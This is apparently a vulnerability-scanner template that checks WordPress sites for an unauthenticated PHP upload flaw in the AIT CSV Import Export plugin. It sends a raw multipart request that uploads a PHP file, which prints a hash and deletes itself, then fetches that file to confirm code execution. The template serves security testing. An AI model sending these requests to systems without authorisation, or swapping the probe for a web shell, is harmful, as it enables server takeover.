ait-csv-import-export-rce: WordPress AIT CSV Import Export - Unauthenticated Remote Code Execution

id: ait-csv-import-export-rce

info:
  name: WordPress AIT CSV Import Export - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: |
    The AIT CSV Import/Export plugin <= 3.0.3 allows unauthenticated remote attackers to upload and execute arbitrary PHP code. The upload-handler does not require authentication, nor validates the uploaded content.
  reference:
    - https://wpscan.com/vulnerability/10471
    - https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/wp_ait_csv_rce.rb
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 9.8
    cwe-id: CWE-434
  metadata:
    max-request: 2
  tags: wp-plugin,rce,fileupload,unauth,wpscan,msf,wordpress,ait-csv,wp,intrusive,vuln

variables:
  string: "ait-csv-import-export-rce"

http:
  - raw:
      - |
        POST /wp-content/plugins/ait-csv-import-export/admin/upload-handler.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: multipart/form-data; boundary=------------------------ab360007dbae2de8

        --------------------------ab360007dbae2de8
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
        Content-Type: application/octet-stream

        sep=;<?php echo md5("{{string}}");unlink(__FILE__);?>

        --------------------------ab360007dbae2de8--
      - |
        GET /wp-content/uploads/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'
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